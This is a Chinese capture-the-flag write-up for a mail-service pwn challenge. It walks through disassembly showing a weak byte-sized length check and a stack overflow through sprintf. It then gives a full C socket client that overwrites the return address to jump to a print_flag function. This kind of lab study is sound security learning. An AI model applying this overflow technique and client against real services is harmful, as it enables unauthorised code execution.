又是一道pwn。這題貌似是藍蓮花的題目=,=
先用連接上去看看,好像是個發送郵件的程序,有很多的字符串的輸入,但是好像都是限制了長度了。長度限制一到就毫不留情的結束輸入。
看不出什麼,直接丟ida。
主要的代碼都在main函數裏面。相當坑爹的流程,慢慢理清楚吧。
溢出點是在sendmail函數裏面。
.text:08049362 mov dword ptr [esp], offset aTitle ; "Title:"
.text:08049369 call _printf
.text:0804936E mov dword ptr [esp+4], 0FFh ; a2
.text:08049376 mov eax, [ebp+title]
.text:08049379 mov [esp], eax ; a1
.text:0804937C call get_input
.text:08049381 mov dword ptr [esp], offset aTitle ; "Title:"
.text:08049388 call _printf
.text:0804938D mov eax, [ebp+title]
.text:08049390 mov [esp], eax ; format
.text:08049393 call _printf
.text:08049398 mov dword ptr [esp], 0Ah ; c
.text:0804939F call _putchar
.text:080493A4 mov dword ptr [esp], offset aBody ; "Body:"
.text:080493AB call _printf
.text:080493B0 mov dword ptr [esp+4], 0FFh ; a2
.text:080493B8 mov eax, [ebp+body]
.text:080493BB mov [esp], eax ; a1
.text:080493BE call get_input
.text:080493C3 mov [ebp+bodylength], 0
.text:080493C7 mov [ebp+titlelength], 0
.text:080493CB mov eax, [ebp+body]
.text:080493CE mov [esp], eax ; s
.text:080493D1 call _strlen ;這裏返回輸入的body的長度
.text:080493D6 mov [ebp+bodylength], al
.text:080493D9 mov eax, [ebp+title]
.text:080493DC mov [esp], eax ; s
.text:080493DF call _strlen ;這裏是title的長度
.text:080493E4 mov [ebp+titlelength], al
.text:080493E7 movzx eax, [ebp+titlelength]
.text:080493EB movzx edx, [ebp+bodylength]
.text:080493EF add eax, edx
.text:080493F1 cmp al, 78h ;兩個長度相加和78比較,過大則退出。
.text:080493F3 jle short loc_804940E
雖然有限制,但是不感覺al太小了嗎?稍微構造一下body和title的長度。這個限制幾乎沒用。
這裏有一段
.text:0804942A mov dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "...
.text:08049432 lea eax, [ebp+bigsql]
.text:08049438 mov [esp], eax ; s
.text:0804943B call _sprintf
棧長度不夠,可以構造溢出。然後程序中有打印flag的函數。
.text:08048BBD public print_flag
返回到這裏就可以了。
然後因爲輸入中有用戶名等等的,所以構造的參數有所不同。
主要是
'a'*220 + 0x08048BBD(函數地址)
至於怎麼湊出220個字符就隨意了。
給段代碼。代碼略長,會寫的跳過吧。
#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
int main (void)
{
int i;
WSADATA wsaData;
SOCKET sockClient;
SOCKADDR_IN addrServer;
char recvBuf[5000]={0};
char message[5000]={0};
WSAStartup(MAKEWORD(2,2),&wsaData);
sockClient=socket(AF_INET,SOCK_STREAM,0);
addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");
addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775);
connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//Login
message[0]='2';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//name
for(i=1;i<10;i++)
message[i-1]=i+48;
message[9]='0';
message[10]='1';
//message[11]=0x0a;
send(sockClient,message,11,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//pass
message[0]='1';
message[1]='2';
message[2]='3';
message[3]='4';
message[4]='5';
//message[5]='\n';
send(sockClient,message,5,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//send mail
message[0]='3';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//to
for(i=1;i<30;i++)
{
message[i-1]='a';
}
send(sockClient,message,29,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//title
for(i=1;i<250;i++)
{
message[i-1]='a';
}
message[119]=0xbd; //這裏是返回值
message[120]=0x8b;
message[121]=0x04;
message[122]=0x08;
message[249]=0x0a;
send(sockClient,message,250,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
//body
for(i=1;i<55;i++)
{ //湊點字符滿足長度
message[i-1]='a';
}
message[54]=0x0a;
send(sockClient,message,55,0);
Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
closesocket(sockClient);
WSACleanup();
return 0;
}
啥,你說python,python是什麼,能吃嗎?
這題還有個step,分兩部分吧。